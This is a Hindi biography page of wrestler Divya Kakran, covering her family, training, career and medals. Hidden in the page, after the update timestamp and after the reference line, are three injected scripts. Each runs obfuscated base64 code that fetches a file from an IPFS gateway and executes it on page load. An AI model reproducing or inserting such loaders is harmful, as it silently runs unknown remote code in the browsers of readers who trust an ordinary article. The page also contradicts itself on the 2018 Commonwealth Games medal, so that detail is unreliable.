दिव्या काकरन
दिव्या काकरन
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पूरा नाम | दिव्या काकरन |
जन्म | 8 अक्टूबर, 1998 |
जन्म भूमि | ग्राम पुरबालियान, ज़िला मुजफ्फरनगर, उत्तर प्रदेश |
अभिभावक | माता- संयोगिता सेन पिता- सुरजवीर सैन है। |
कर्म भूमि | भारत |
खेल-क्षेत्र | कुश्ती |
शिक्षा | स्नातक (शारीरिक शिक्षा और खेल विज्ञान) |
विद्यालय | नोएडा कॉलेज ऑफ फिज़िकल एजुकेशन, दादरी (यूपी) |
पुरस्कार-उपाधि | अर्जुन पुरस्कार, 2020 |
प्रसिद्धि | फ्रीस्टाइल पहलवान |
नागरिकता | भारतीय |
लम्बाई | 5 फुट 6 इंच |
कोच | विक्रम कुमार, कोच व्लादिमीर |
एशियन खेल | जकार्ता, 2018 - 68 कि.ग्रा. वर्ग - कांस्य |
कॉमनवेल्थ खेल | बर्मिघम, 2022 - 68 कि.ग्रा. वर्ग - कांस्य गोल्ड कोस्ट, 2018 - 68 कि.ग्रा. वर्ग - स्वर्ण |
एशियन चैम्पियनशिप | अल्माटी, 2021 - 72 कि.ग्रा. वर्ग - स्वर्ण नई दिल्ली, 2020 - 68 कि.ग्रा. वर्ग - स्वर्ण |
कॉमनवेल्थ चैम्पियनशिप | जोहांसबर्ग, 2017 - 69 कि.ग्रा. वर्ग - स्वर्ण |
अन्य जानकारी | दिव्या काकरन को अगस्त 2020 में कुश्ती में शानदार प्रदर्शन के लिए भारत सरकार की ओर से अर्जुन पुरस्कार से सम्मानित किया गया था। |
अद्यतन | 17:01, 13 अगस्त 2022 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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परिचय
दिव्या काकरन का जन्म 8 अक्टूबर, 1998 को उत्तर प्रदेश के मुजफ्फरनगर जिले के पुरबालियान गांव में हुआ था। उनके पिता का नाम सुरजवीर सैन है। माता का नाम संयोगिता सैन है। दिव्या काकरन के बड़े भाई का नाम देव सैन है जो दिव्या के खान-पान और प्रैक्टिस का ध्यान रखते हैं। दिव्या ने दिल्ली राज्य चैम्पियनशिप में 17 स्वर्ण पदकों सहित 60 से अधिक पदक जीते हैं, और 14 बार 'भारत केसरी' का खिताब भी जीता है। विलक्षण प्रतिभा वाली दिव्या काकरन ने उस लड़की के तौर पर नाम कमाया जो लड़कों को भी हरा सकती है। दिव्या वर्तमान में भारतीय रेलवे में वरिष्ठ टिकट परीक्षक के रूप में कार्यरत हैं।[१]
शिक्षा
दिव्या काकरन का बचपन में पढ़ाई में बिल्कुल भी मन नहीं लगता था क्योंकि उनका ध्यान हमेशा खेल में ही रहता था। लेकिन उनकी माँ उन्हें जोर जबरदसती से गाँव के एक स्कूल में भेजती थीं। उनकी प्रारम्भिक शिक्षा उनके गाँव से ही शुरू हुई। दिल्ली आने के बाद दिव्या ने नोएडा कॉलेज ऑफ फिज़िकल एजुकेशन, दादरी (उ.प्र.) से शारीरिक शिक्षा और खेल विज्ञान (बीपीईएस) में स्नातक की डिग्री हासिल की।
कॅरियर
दिव्या काकरन के दादा जी और उनके पिता सुरजवीर सैन भी पहलवानी करते थे। लेकिन घर की आर्थिक स्थिति ठीक न होने के कारण उनके पिता को कुश्ती बीच में ही छोड़नी पड़ी। लेकिन सुरजवीर जी ने दिव्या के साथ ऐसा नहीं होने दिया। हालांकि उनकी माँ चाहती थी भाई देव पहलवानी करे, लेकिन पिता और भाई ने दिव्या को पहलवानी करने पर जोर दिया। दिव्या के पूरे परिवार ने उसके लिए जी तोड़ मेहनत की है, जिसका वह बार-बार जिक्र भी करती हैं।
दिव्या ने अपने कुश्ती कॅरियर की शुरुआत मिट्टी में दंगल लड़ने से की। वह कोच विक्रम कुमार के पास गुरु प्रेमनाथ अखारा, दिल्ली में कुश्ती सीखने जाती थीं; क्योंकि सुरजवीर जी दंगल और खेल मेलों में लंगोट बेचने जाते थे तो वो दिव्या को भी अपने साथ लेकर जाने लगे। लेकिन दिव्या के साथ कुश्ती करने के लिए कोई लड़की नहीं होती थी जिस कारण उनको लड़कों के साथ कुश्ती करनी पड़ती थी। दिव्या ने अपन पहला नैशनल गेम्स पदक हरियाणा में आयोजित 2011 नैशनल गेम्स में कांस्य के रूप में जीता था। इसके बाद उन्होंने उलानबटार, मंगोलिया में आयोजित 2013 एशियाई जूनियर कैडेट्स चैंपियनशिप में रजत पदक जीता, जो दिव्या काकरन का पहला अंतरराष्ट्रीय पदक था।
दिव्या काकरन एशियाई चैंपियनशिप में दो स्वर्ण पदक जीतने वाली सिर्फ दूसरी भारतीय महिला पहलवान हैं। उनसे पहले ऐसा कारनामा केवल सरिता मोर ही कर पाई हैं। दिव्या ने लगातार 2020 और 2021 संस्करण में स्वर्ण पदक जीता है। दिव्या ने 23 मार्च 2018 को भिवानी, हरयाणा में आयोजित 'भारत केसरी दंगल' में 'भारत केसरी' का खिताब जीता। इस दंगल के फाइनल मुकाबले में उन्होंने रितु मलिक को हराया था। इस फाइनल मैच से पहले दिव्या ने इसी दंगल में अंतरराष्ट्रीय चैंपियन गीता फोगाट को भी हराया था। दिव्या अब तक 14 बार भारत केसरी का खिताब जीत चुकी हैं।[१]
उपलब्धियाँ
दिव्या काकरन को अगस्त 2020 में कुश्ती में शानदार प्रदर्शन के लिए भारत सरकार की ओर से अर्जुन पुरस्कार से सम्मानित किया गया और इसके साथ वह अर्जुन अवॉर्ड पाने वाली सबसे युवा खिलाड़ी बन गईं।[१]
क्रमांक | वर्ष | प्रतिस्पर्धा | स्थान | पदक |
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1. | 2017 | एशियाई कुश्ती चैंपियनशिप | नई दिल्ली, भारत | रजत पदक |
2. | 2017 | ऑल इंडिया यूनिवर्सिटी चैंपियनशिप | भारत | स्वर्ण पदक |
3. | 2017 | सीनियर नेशनल चैंपियनशिप | भारत | स्वर्ण पदक |
4. | 2017 | कामन्वेल्थ रेसलिंग चैंपियनशिप | जोहान्सबर्ग, दक्षिण अफ्रीका | स्वर्ण पदक |
5. | 2018 | एशियन गेम्स | जकार्ता, पालेमबांग | कांस्य पदक |
6. | 2018 | कामन्वेल्थ गेम्स | गोल्ड कोस्ट, ऑस्ट्रेलिया | कांस्य पदक |
7. | 2019 | एशियाई कुश्ती चैंपियनशिप | चीन | कांस्य पदक |
8. | 2020 | एशियाई कुश्ती चैंपियनशिप | नई दिल्ली, भारत | स्वर्ण पदक |
9. | 2021 | एशियाई कुश्ती चैंपियनशिप | अल्माटी, कजाखस्तान | स्वर्ण पदक |
10. | 2022 | कामन्वेल्थ गेम्स | बर्मिंघम, इंग्लैंड | कांस्य पदक |
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टीका टिप्पणी और संदर्भ
- ↑ १.० १.१ १.२ दिव्या काकरान का जीवन परिचय (हिंदी) jatsports.com। अभिगमन तिथि: 13 अगस्त, 2022।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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